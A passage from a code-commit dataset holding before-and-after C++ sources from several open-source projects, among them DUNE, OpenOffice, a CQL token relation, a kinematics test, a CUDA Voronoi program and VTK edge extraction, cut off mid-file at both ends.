(local_spaces_.size() != ms_grid_->size())\n      DUNE_THROW_COLORFULLY(Stuff::Exceptions::shapes_do_not_match,\n                            \"You have to provide a local space for each subdomain of the multiscale grid!\\n\"\n                                << \"  Size of the given multiscale grid: \"\n                                << ms_grid_->size()\n                                << \"\\n\"\n                                << \"  Number of local spaces given: \"\n                                << local_spaces_.size());\n  } \/\/ Block(...)\n\n  const std::shared_ptr<const MsGridType>& ms_grid() const\n  {\n    return ms_grid_;\n  }\n\n  const std::vector<std::shared_ptr<const LocalSpaceType>>& local_spaces() const\n  {\n    return local_spaces_;\n  }\n\n  const std::shared_ptr<const GridViewType>& grid_view() const\n  {\n    return ms_grid_->globalGridView();\n  }\n\n  const BackendType& backend() const\n  {\n    return local_spaces_[0]->backend();\n  }\n\n  const MapperType& mapper() const\n  {\n    return *mapper_;\n  }\n\n  BaseFunctionSetType base_function_set(const EntityType& entity) const\n  {\n    const size_t block = find_block_of_(entity);\n    return local_spaces_[block]->base_function_set(entity);\n  }\n\n  template <class ConstraintsType>\n  void local_constraints(const EntityType& \/*entity*\/, ConstraintsType& \/*ret*\/) const\n  {\n    DUNE_THROW_COLORFULLY(NotImplemented, \"I am not sure yet how to implement this!\");\n  }\n\n  template <class G, class S>\n  PatternType compute_pattern(const GridView<G>& \/*local_grid_view*\/, const SpaceInterface<S>& \/*ansatz_space*\/) const\n  {\n    DUNE_THROW_COLORFULLY(NotImplemented, \"I am not sure yet how to implement this!\");\n  }\n\nprivate:\n  template <class EntityType>\n  size_t find_block_of_(const EntityType& entity) const\n  {\n    const auto global_entity_index = ms_grid_->globalGridView()->indexSet().index(entity);\n    const auto result              = ms_grid_->entityToSubdomainMap()->find(global_entity_index);\n#ifndef NDEBUG\n    if (result == ms_grid_->entityToSubdomainMap()->end())\n      DUNE_THROW_COLORFULLY(Stuff::Exceptions::internal_error,\n                            \"Entity \" << global_entity_index\n                                      << \" of the global grid view was not found in the multiscale grid!\");\n#endif \/\/ NDEBUG\n    const size_t subdomain = result->second;\n#ifndef NDEBUG\n    if (subdomain >= ms_grid_->size())\n      DUNE_THROW_COLORFULLY(Stuff::Exceptions::internal_error,\n                            \"The multiscale grid is corrupted!\\nIt reports Entity \" << global_entity_index\n                                                                                    << \" to be in subdomain \"\n                                                                                    << subdomain\n                                                                                    << \" while only having \"\n                                                                                    << ms_grid_->size()\n                                                                                    << \" subdomains!\");\n#endif \/\/ NDEBUG\n    assert(subdomain < local_spaces_.size());\n    return subdomain;\n  } \/\/ ... find_block_of_(...)\n\n  std::shared_ptr<const MsGridType> ms_grid_;\n  std::vector<std::shared_ptr<const LocalSpaceType>> local_spaces_;\n  std::shared_ptr<const MapperType> mapper_;\n}; \/\/ class Block\n\n\n#else \/\/ HAVE_DUNE_GRID_MULTISCALE\n\n\ntemplate <class LocalSpaceImp>\nclass Block\n{\n  static_assert(Dune::AlwaysFalse<LocalSpaceImp>::value, \"You are missing dune-grid-multiscale!\");\n};\n\n\n#endif \/\/ HAVE_DUNE_GRID_MULTISCALE\n\n} \/\/ namespace Spaces\n} \/\/ namespace GDT\n} \/\/ namespace Dune\n\n#endif \/\/ DUNE_GDT_SPACES_BLOCK_HH\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: swwrtshitem.cxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-09 07:16:15 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n#include \"swwrtshitem.hxx\"\nTYPEINIT1(SwWrtShellItem,SfxPoolItem);\nSwWrtShellItem::SwWrtShellItem( USHORT nWhich, SwWrtShell* pSh )\n    : SfxPoolItem( nWhich ), pWrtSh( pSh )\n{\n\n}\nSwWrtShellItem::SwWrtShellItem( const SwWrtShellItem& rItem) :\n    SfxPoolItem( rItem.Which() ),\n    pWrtSh( rItem.pWrtSh )\n{\n}\n\nint SwWrtShellItem::operator==( const SfxPoolItem& rItem) const\n{\n    return ((SwWrtShellItem&)rItem).pWrtSh == pWrtSh;\n}\n\nSfxPoolItem* SwWrtShellItem::Clone( SfxItemPool *pPool ) const\n{\n    return new SwWrtShellItem( *this );\n}\n<commit_msg>INTEGRATION: CWS pchfix02 (1.5.474); FILE MERGED 2006\/09\/01 17:53:01 kaib 1.5.474.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: swwrtshitem.cxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: obo $ $Date: 2006-09-16 22:50:52 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_sw.hxx\"\n#include \"swwrtshitem.hxx\"\nTYPEINIT1(SwWrtShellItem,SfxPoolItem);\nSwWrtShellItem::SwWrtShellItem( USHORT nWhich, SwWrtShell* pSh )\n    : SfxPoolItem( nWhich ), pWrtSh( pSh )\n{\n\n}\nSwWrtShellItem::SwWrtShellItem( const SwWrtShellItem& rItem) :\n    SfxPoolItem( rItem.Which() ),\n    pWrtSh( rItem.pWrtSh )\n{\n}\n\nint SwWrtShellItem::operator==( const SfxPoolItem& rItem) const\n{\n    return ((SwWrtShellItem&)rItem).pWrtSh == pWrtSh;\n}\n\nSfxPoolItem* SwWrtShellItem::Clone( SfxItemPool *pPool ) const\n{\n    return new SwWrtShellItem( *this );\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\/*\n * Copyright 2015 Cloudius Systems\n *\n * Modified by Cloudius Systems\n *\/\n\n#include \"restrictions\/token_restriction.hh\"\n#include \"token_relation.hh\"\n#include \"column_identifier.hh\"\n#include \"term.hh\"\n#include \"to_string.hh\"\n\nstd::vector<const column_definition*> cql3::token_relation::get_column_definitions(schema_ptr s) {\n    std::vector<const column_definition*> res;\n    std::transform(_entities.begin(), _entities.end(), std::back_inserter(res),\n            [this, s](auto& cr) {\n                return &this->to_column_definition(s, cr);\n            });\n    return res;\n}\n\nstd::vector<::shared_ptr<cql3::column_specification>> cql3::token_relation::to_receivers(\n        schema_ptr schema,\n        const std::vector<const column_definition*>& column_defs) {\n    auto pk = schema->partition_key_columns();\n    if (!std::equal(column_defs.begin(), column_defs.end(), pk.begin(),\n            pk.end(), [](auto* c1, auto& c2) {\n                return c1 == &c2; \/\/ same, not \"equal\".\n        })) {\n#if 0\n        checkTrue(columnDefs.containsAll(cfm.partitionKeyColumns()),\n                \"The token() function must be applied to all partition key components or none of them\");\n\n        checkContainsNoDuplicates(columnDefs, \"The token() function contains duplicate partition key components\");\n\n        checkContainsOnly(columnDefs, cfm.partitionKeyColumns(), \"The token() function must contains only partition key components\");\n#endif\n        throw exceptions::invalid_request_exception(\n                sprint(\n                        \"The token function arguments must be in the partition key order: %s\",\n                        ::to_string(column_defs)));\n    }\n    \/\/auto* c = column_defs.front();\n    return {::make_shared<column_specification>(schema->ks_name(), schema->cf_name(),\n                ::make_shared<column_identifier>(\"partition key token\", true),\n                 \/\/ TODO: dht::global_partitioner().get_token_validator()\n                 bytes_type)};\n}\n\n::shared_ptr<cql3::restrictions::restriction> cql3::token_relation::new_EQ_restriction(\n        database& db, schema_ptr schema,\n        ::shared_ptr<variable_specifications> bound_names) {\n    auto column_defs = get_column_definitions(schema);\n    auto term = to_term(to_receivers(schema, column_defs), _value, db,\n            schema->ks_name(), bound_names);\n    return ::make_shared<restrictions::token_restriction::EQ>(column_defs, term);\n}\n\n::shared_ptr<cql3::restrictions::restriction> cql3::token_relation::new_IN_restriction(\n        database& db, schema_ptr schema,\n        ::shared_ptr<variable_specifications> bound_names) {\n    throw exceptions::invalid_request_exception(\n            sprint(\"%s cannot be used with the token function\",\n                    get_operator()));\n}\n\n::shared_ptr<cql3::restrictions::restriction> cql3::token_relation::new_slice_restriction(\n        database& db, schema_ptr schema,\n        ::shared_ptr<variable_specifications> bound_names,\n        statements::bound bound,\n        bool inclusive) {\n    auto column_defs = get_column_definitions(schema);\n    auto term = to_term(to_receivers(schema, column_defs), _value, db,\n            schema->ks_name(), bound_names);\n    return ::make_shared<restrictions::token_restriction::slice>(column_defs,\n            bound, inclusive, term);\n}\n\n::shared_ptr<cql3::restrictions::restriction> cql3::token_relation::new_contains_restriction(\n        database& db, schema_ptr schema,\n        ::shared_ptr<variable_specifications> bound_names, bool isKey) {\n    throw exceptions::invalid_request_exception(\n            sprint(\"%s cannot be used with the token function\",\n                    get_operator()));\n}\n\nsstring cql3::token_relation::to_string() const {\n    return sprint(\"token(%s) %s %s\", join(\", \", _entities), get_operator(), _value);\n}\n\n::shared_ptr<cql3::term> cql3::token_relation::to_term(\n        const std::vector<::shared_ptr<column_specification>>& receivers,\n        ::shared_ptr<term::raw> raw, database& db, const sstring& keyspace,\n        ::shared_ptr<variable_specifications> bound_names) {\n    auto term = raw->prepare(db, keyspace, receivers.front());\n    term->collect_marker_specification(bound_names);\n    return term;\n}\n<commit_msg>cql3: use proper token type in token relations<commit_after>\/*\n * Licensed to the Apache Software Foundation (ASF) under one\n * or more contributor license agreements.  See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership.  The ASF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License.  You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\/*\n * Copyright 2015 Cloudius Systems\n *\n * Modified by Cloudius Systems\n *\/\n\n#include \"restrictions\/token_restriction.hh\"\n#include \"token_relation.hh\"\n#include \"column_identifier.hh\"\n#include \"term.hh\"\n#include \"to_string.hh\"\n\nstd::vector<const column_definition*> cql3::token_relation::get_column_definitions(schema_ptr s) {\n    std::vector<const column_definition*> res;\n    std::transform(_entities.begin(), _entities.end(), std::back_inserter(res),\n            [this, s](auto& cr) {\n                return &this->to_column_definition(s, cr);\n            });\n    return res;\n}\n\nstd::vector<::shared_ptr<cql3::column_specification>> cql3::token_relation::to_receivers(\n        schema_ptr schema,\n        const std::vector<const column_definition*>& column_defs) {\n    auto pk = schema->partition_key_columns();\n    if (!std::equal(column_defs.begin(), column_defs.end(), pk.begin(),\n            pk.end(), [](auto* c1, auto& c2) {\n                return c1 == &c2; \/\/ same, not \"equal\".\n        })) {\n#if 0\n        checkTrue(columnDefs.containsAll(cfm.partitionKeyColumns()),\n                \"The token() function must be applied to all partition key components or none of them\");\n\n        checkContainsNoDuplicates(columnDefs, \"The token() function contains duplicate partition key components\");\n\n        checkContainsOnly(columnDefs, cfm.partitionKeyColumns(), \"The token() function must contains only partition key components\");\n#endif\n        throw exceptions::invalid_request_exception(\n                sprint(\n                        \"The token function arguments must be in the partition key order: %s\",\n                        ::to_string(column_defs)));\n    }\n    \/\/auto* c = column_defs.front();\n    return {::make_shared<column_specification>(schema->ks_name(), schema->cf_name(),\n                ::make_shared<column_identifier>(\"partition key token\", true),\n                dht::global_partitioner().get_token_validator())};\n}\n\n::shared_ptr<cql3::restrictions::restriction> cql3::token_relation::new_EQ_restriction(\n        database& db, schema_ptr schema,\n        ::shared_ptr<variable_specifications> bound_names) {\n    auto column_defs = get_column_definitions(schema);\n    auto term = to_term(to_receivers(schema, column_defs), _value, db,\n            schema->ks_name(), bound_names);\n    return ::make_shared<restrictions::token_restriction::EQ>(column_defs, term);\n}\n\n::shared_ptr<cql3::restrictions::restriction> cql3::token_relation::new_IN_restriction(\n        database& db, schema_ptr schema,\n        ::shared_ptr<variable_specifications> bound_names) {\n    throw exceptions::invalid_request_exception(\n            sprint(\"%s cannot be used with the token function\",\n                    get_operator()));\n}\n\n::shared_ptr<cql3::restrictions::restriction> cql3::token_relation::new_slice_restriction(\n        database& db, schema_ptr schema,\n        ::shared_ptr<variable_specifications> bound_names,\n        statements::bound bound,\n        bool inclusive) {\n    auto column_defs = get_column_definitions(schema);\n    auto term = to_term(to_receivers(schema, column_defs), _value, db,\n            schema->ks_name(), bound_names);\n    return ::make_shared<restrictions::token_restriction::slice>(column_defs,\n            bound, inclusive, term);\n}\n\n::shared_ptr<cql3::restrictions::restriction> cql3::token_relation::new_contains_restriction(\n        database& db, schema_ptr schema,\n        ::shared_ptr<variable_specifications> bound_names, bool isKey) {\n    throw exceptions::invalid_request_exception(\n            sprint(\"%s cannot be used with the token function\",\n                    get_operator()));\n}\n\nsstring cql3::token_relation::to_string() const {\n    return sprint(\"token(%s) %s %s\", join(\", \", _entities), get_operator(), _value);\n}\n\n::shared_ptr<cql3::term> cql3::token_relation::to_term(\n        const std::vector<::shared_ptr<column_specification>>& receivers,\n        ::shared_ptr<term::raw> raw, database& db, const sstring& keyspace,\n        ::shared_ptr<variable_specifications> bound_names) {\n    auto term = raw->prepare(db, keyspace, receivers.front());\n    term->collect_marker_specification(bound_names);\n    return term;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>WaE: -Werror=unused-variable<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>fix memory leak<commit_after><|endoftext|>"}
{"text":"<commit_before>\n\n#include <iostream>\n#include <cstdlib>\n#include \"RigidBodyManipulator.h\"\n\nusing namespace std;\n\nint main(int argc, char* argv[])\n{\n\tif (argc<2) {\n\t\tcerr << \"Usage: urdfKinTest urdf_filename\" << endl;\n\t\texit(-1);\n\t}\n  RigidBodyManipulator* model = new RigidBodyManipulator(argv[1]);\n  if (!model) {\n  \tcerr << \"ERROR: Failed to load model from \" << argv[1] << endl;\n  \treturn -1;\n  }\n\n  \/\/ run kinematics with second derivatives 100 times\n  VectorXd q = VectorXd::Zero(model->num_positions);\n  int i;\n\n  if (argc>=2+model->num_positions) {\n  \tfor (i=0; i<model->num_positions; i++)\n  \t\tsscanf(argv[2+i],\"%lf\",&q(i));\n  }\n\n\/\/ for (i=0; i<model->num_dof; i++)\n\/\/ \t q(i)=(double)rand() \/ RAND_MAX;\n    model->doKinematics(q,false);\n\/\/  }\n\n\/\/  const Vector4d zero(0,0,0,1);\n  Vector3d zero = Vector3d::Zero();\n  Matrix<double,6,1> pt;\n\n  for (i=0; i<model->num_bodies; i++) {\n\/\/    model->forwardKinNew(i,zero,1,pt);\n\t\tauto pt = model->forwardKinNew(zero, i, 0, 1, 0);\n\/\/    cout << i << \": forward kin: \" << model->bodies[i].linkname << \" is at \" << pt.transpose() << endl;\n    cout << model->bodies[i]->linkname << \" \";\n\t\tcout << pt.value().transpose() << endl;\n\/\/    for (int j=0; j<pt.size(); j++)\n\/\/    \tcout << pt(j) << \" \";\n  }\n\n  delete model;\n  return 0;\n}\n<commit_msg>call doKinematicsNew<commit_after>\n\n#include <iostream>\n#include <cstdlib>\n#include \"RigidBodyManipulator.h\"\n\nusing namespace std;\n\nint main(int argc, char* argv[])\n{\n\tif (argc<2) {\n\t\tcerr << \"Usage: urdfKinTest urdf_filename\" << endl;\n\t\texit(-1);\n\t}\n  RigidBodyManipulator* model = new RigidBodyManipulator(argv[1]);\n  if (!model) {\n  \tcerr << \"ERROR: Failed to load model from \" << argv[1] << endl;\n  \treturn -1;\n  }\n\n  \/\/ run kinematics with second derivatives 100 times\n  VectorXd q = VectorXd::Zero(model->num_positions);\n  VectorXd v = VectorXd::Zero(model->num_velocities);\n  int i;\n\n  if (argc>=2+model->num_positions) {\n  \tfor (i=0; i<model->num_positions; i++)\n  \t\tsscanf(argv[2+i],\"%lf\",&q(i));\n  }\n\n\/\/ for (i=0; i<model->num_dof; i++)\n\/\/ \t q(i)=(double)rand() \/ RAND_MAX;\n    model->doKinematicsNew(q,v);\n\/\/  }\n\n\/\/  const Vector4d zero(0,0,0,1);\n  Vector3d zero = Vector3d::Zero();\n  Matrix<double,6,1> pt;\n\n  for (i=0; i<model->num_bodies; i++) {\n\/\/    model->forwardKinNew(i,zero,1,pt);\n\t\tauto pt = model->forwardKinNew(zero, i, 0, 1, 0);\n\/\/    cout << i << \": forward kin: \" << model->bodies[i].linkname << \" is at \" << pt.transpose() << endl;\n    cout << model->bodies[i]->linkname << \" \";\n\t\tcout << pt.value().transpose() << endl;\n\/\/    for (int j=0; j<pt.size(); j++)\n\/\/    \tcout << pt(j) << \" \";\n  }\n\n  delete model;\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n\tmain.cpp \n\tthe entrence of the app\n*\/\n\n#include <basic\\common.h>\n#include <basic\\command_line.h>\n#include <basic\\stop_watch.h>\n#include <mesh\\mesh.h>\n#include <mesh\\mesh_io.h>\n#include <cuda\\cuda_common.h>\n#include <cuda\\cuda_rvd.h>\n\nint main(int argc, char** argv){\n\tusing namespace Gpu_Rvd;\n\n\tStopWatch S(\"total task\");\n\tCmd::Mode mode = Cmd::Host_Device;\n\tstd::vector<std::string> filenames;\n\tif (!Cmd::parse_argu(argc, argv, filenames, mode)){\n\t\tfprintf(stderr, \"failed to parse the argument!\");\n\t\treturn 1;\n\t}\n\n\tstd::string mesh_filename = filenames[0];\n\tstd::string points_filename = filenames[0];\n\tstd::string output_filename;\n\tif (filenames.size() >= 2) {\n\t\tpoints_filename = filenames[1];\n\t}\n\toutput_filename = (filenames.size() == 3) ? filenames[2] : \"out.eobj\";\n\n\tMesh M_in;\n\tPoints Points_in;\n\n\tif (!mesh_load_obj(mesh_filename, M_in)){\n\t\tfprintf(stderr, \"cannot load the mesh from the %s path\", mesh_filename);\n\t\treturn 1;\n\t}\n\n\tif (!points_load_obj(points_filename, Points_in)){\n\t\tfprintf(stderr, \"cannot load the points from the %s path\", points_filename);\n\t\treturn 1;\n\t}\n\t\n\n#ifdef KNN\n\t\n#else\n\t\/\/ do not use Knn algorigthm, find the Nearest Neighbors by comparing the distance in CPU.\n\t\/\/Points_in.search_nn(Points_in.v_ptr(), 3, Points_in.get_vertex_nb(), 20);\n\t\n\tindex_t* points_nn = (index_t*)malloc(sizeof(index_t) * Points_in.get_vertex_nb() * 20);\n\tindex_t* facets_nn = (index_t*)malloc(sizeof(index_t) * M_in.get_facet_nb());\n\n\tfreopen(\"..\/\/test\/\/right\/\/S2_points.txt\", \"r\", stdin);\n\tfor (index_t t = 0; t < Points_in.get_vertex_nb() * 20; ++t){\n\t\tscanf(\"%d \", &points_nn[t]);\n\t}\n\tfreopen(\"..\/\/test\/\/right\/\/S2_facets.txt\", \"r\", stdin);\n\tfor (index_t t = 0; t < M_in.get_facet_nb(); ++t){\n\t\tscanf(\"%d \", &facets_nn[t]);\n\t}\n\tfreopen(\"CON\", \"r\", stdin);\n\t\/*freopen(\"..\/\/test\/\/S2_points_nn\", \"w\", stdout);\n\tfor (index_t t = 0; t < Points_in.get_vertex_nb() * 20; ++t){\n\t\tprintf(\"%d \", points_nn[t]);\n\t\tif (t % 20 == 19) printf(\"\\n\");\n\t}\n\tprintf(\"\\n\");\n\tfor (int i = 0; i < 1000; ++i){\n\t\tprintf(\"%d \", i);\n\t}\n\tfreopen(\"..\/\/test\/\/S2_facets_nn\", \"w\", stdout);\n\tfor (index_t t = 0; t < M_in.get_facet_nb(); ++t){\n\t\tprintf(\"%d %d\\n\",t, facets_nn[t]);\n\t}\n\tprintf(\"\\n\");\n\tfor (int i = 0; i < 1000; ++i){\n\t\tprintf(\"%d \", i);\n\t}*\/\n#endif\n\tCudaRestrictedVoronoiDiagram RVD(\n\t\tM_in.v_ptr(),\t\t\tM_in.get_vertex_nb(),\n\t\tPoints_in.v_ptr(),\t\tPoints_in.get_vertex_nb(),\n\t\tM_in.f_ptr(),\t\t\tM_in.get_facet_nb(),\n\t\tpoints_nn,\t\t\t\t20,\n\t\tfacets_nn,\t\t\t\tPoints_in.dimension()\n\t\t);\n\n\tRVD.compute_Rvd();\n\n\tS.print_elaspsed_time(std::cout);\n\tgetchar();\n\treturn 0;\n}<commit_msg>modify<commit_after>\/*\n\tmain.cpp \n\tthe entrence of the app\n*\/\n\n#include <basic\\common.h>\n#include <basic\\command_line.h>\n#include <basic\\stop_watch.h>\n#include <mesh\\mesh.h>\n#include <mesh\\mesh_io.h>\n#include <cuda\\cuda_common.h>\n#include <cuda\\cuda_rvd.h>\n\nint main(int argc, char** argv){\n\tusing namespace Gpu_Rvd;\n\n\tStopWatch S(\"total task\");\n\tCmd::Mode mode = Cmd::Host_Device;\n\tstd::vector<std::string> filenames;\n\tif (!Cmd::parse_argu(argc, argv, filenames, mode)){\n\t\tfprintf(stderr, \"failed to parse the argument!\");\n\t\treturn 1;\n\t}\n\n\tstd::string mesh_filename = filenames[0];\n\tstd::string points_filename = filenames[0];\n\tstd::string output_filename;\n\tif (filenames.size() >= 2) {\n\t\tpoints_filename = filenames[1];\n\t}\n\toutput_filename = (filenames.size() == 3) ? filenames[2] : \"out.eobj\";\n\n\tMesh M_in;\n\tPoints Points_in;\n\n\tif (!mesh_load_obj(mesh_filename, M_in)){\n\t\tfprintf(stderr, \"cannot load the mesh from the %s path\", mesh_filename);\n\t\treturn 1;\n\t}\n\n\tif (!points_load_obj(points_filename, Points_in)){\n\t\tfprintf(stderr, \"cannot load the points from the %s path\", points_filename);\n\t\treturn 1;\n\t}\n\t\n\n#ifdef KNN\n\t\n#else\n\t\/\/ do not use Knn algorigthm, find the Nearest Neighbors by comparing the distance in CPU.\n\t\/\/Points_in.search_nn(Points_in.v_ptr(), 3, Points_in.get_vertex_nb(), 20);\n\t\n\tindex_t* points_nn = (index_t*)malloc(sizeof(index_t) * Points_in.get_vertex_nb() * 20);\n\tindex_t* facets_nn = (index_t*)malloc(sizeof(index_t) * M_in.get_facet_nb());\n\n\tfreopen(\"..\/\/test\/\/right\/\/bunny_points_nn.txt\", \"r\", stdin);\n\tfor (index_t t = 0; t < Points_in.get_vertex_nb() * 20; ++t){\n\t\tscanf(\"%d \", &points_nn[t]);\n\t}\n\tfreopen(\"..\/\/test\/\/right\/\/bunny_facets_nn.txt\", \"r\", stdin);\n\tfor (index_t t = 0; t < M_in.get_facet_nb(); ++t){\n\t\tscanf(\"%d \", &facets_nn[t]);\n\t}\n\tfreopen(\"CON\", \"r\", stdin);\n\t\/*freopen(\"..\/\/test\/\/S2_points_nn\", \"w\", stdout);\n\tfor (index_t t = 0; t < Points_in.get_vertex_nb() * 20; ++t){\n\t\tprintf(\"%d \", points_nn[t]);\n\t\tif (t % 20 == 19) printf(\"\\n\");\n\t}\n\tprintf(\"\\n\");\n\tfor (int i = 0; i < 1000; ++i){\n\t\tprintf(\"%d \", i);\n\t}\n\tfreopen(\"..\/\/test\/\/S2_facets_nn\", \"w\", stdout);\n\tfor (index_t t = 0; t < M_in.get_facet_nb(); ++t){\n\t\tprintf(\"%d %d\\n\",t, facets_nn[t]);\n\t}\n\tprintf(\"\\n\");\n\tfor (int i = 0; i < 1000; ++i){\n\t\tprintf(\"%d \", i);\n\t}*\/\n#endif\n\tCudaRestrictedVoronoiDiagram RVD(\n\t\tM_in.v_ptr(),\t\t\tM_in.get_vertex_nb(),\n\t\tPoints_in.v_ptr(),\t\tPoints_in.get_vertex_nb(),\n\t\tM_in.f_ptr(),\t\t\tM_in.get_facet_nb(),\n\t\tpoints_nn,\t\t\t\t20,\n\t\tfacets_nn,\t\t\t\tPoints_in.dimension()\n\t\t);\n\n\tRVD.compute_Rvd();\n\n\tS.print_elaspsed_time(std::cout);\n\tgetchar();\n\treturn 0;\n}<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Visualization Toolkit\n  Module:    vtkExtractEdges.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\nCopyright (c) 1993-2001 Ken Martin, Will Schroeder, Bill Lorensen \nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n * Redistributions of source code must retain the above copyright notice,\n   this list of conditions and the following disclaimer.\n\n * Redistributions in binary form must reproduce the above copyright notice,\n   this list of conditions and the following disclaimer in the documentation\n   and\/or other materials provided with the distribution.\n\n * Neither name of Ken Martin, Will Schroeder, or Bill Lorensen nor the names\n   of any contributors may be used to endorse or promote products derived\n   from this software without specific prior written permission.\n\n * Modified source versions must be plainly marked as such, and must not be\n   misrepresented as being the original software.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS''\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n=========================================================================*\/\n#include \"vtkExtractEdges.h\"\n#include \"vtkEdgeTable.h\"\n#include \"vtkMergePoints.h\"\n#include \"vtkObjectFactory.h\"\n\n\n\n\/\/------------------------------------------------------------------------------\nvtkExtractEdges* vtkExtractEdges::New()\n{\n  \/\/ First try to create the object from the vtkObjectFactory\n  vtkObject* ret = vtkObjectFactory::CreateInstance(\"vtkExtractEdges\");\n  if(ret)\n    {\n    return (vtkExtractEdges*)ret;\n    }\n  \/\/ If the factory was unable to create the object, then create it here.\n  return new vtkExtractEdges;\n}\n\n\n\n\n\/\/ Construct object.\nvtkExtractEdges::vtkExtractEdges()\n{\n  this->Locator = NULL;\n}\n\nvtkExtractEdges::~vtkExtractEdges()\n{\n  if ( this->Locator )\n    {\n    this->Locator->UnRegister(this);\n    this->Locator = NULL;\n    }\n}\n\n\/\/ Generate feature edges for mesh\nvoid vtkExtractEdges::Execute()\n{\n  vtkDataSet *input= this->GetInput();\n  vtkPolyData *output= this->GetOutput();\n  vtkPoints *newPts;\n  vtkCellArray *newLines;\n  vtkIdType numCells, cellNum, numPts, newId;\n  int edgeNum, numEdgePts, numCellEdges;\n  int i;\n  vtkIdType pts[2];\n  vtkIdType pt1 = 0, pt2;\n  float *x;\n  vtkEdgeTable *edgeTable;\n  vtkCell *cell, *edge;\n  vtkPointData *pd, *outPD;\n  vtkCellData *cd, *outCD;\n\n  vtkDebugMacro(<<\"Executing edge extractor\");\n\n  \/\/  Check input\n  \/\/\n  numPts=input->GetNumberOfPoints();\n  if ( (numCells=input->GetNumberOfCells()) < 1 || numPts < 1 )\n    {\n    vtkErrorMacro(<<\"No input data!\");\n    return;\n    }\n\n  \/\/ Set up processing\n  \/\/\n  edgeTable = vtkEdgeTable::New();\n  edgeTable->InitEdgeInsertion(numPts);\n  newPts = vtkPoints::New();\n  newPts->Allocate(numPts);\n  newLines = vtkCellArray::New();\n  newLines->EstimateSize(numPts*4,2);\n\n  pd = input->GetPointData();\n  outPD = output->GetPointData();\n  outPD->CopyAllocate(pd,numPts);\n\n  cd = input->GetCellData();\n  outCD = output->GetCellData();\n  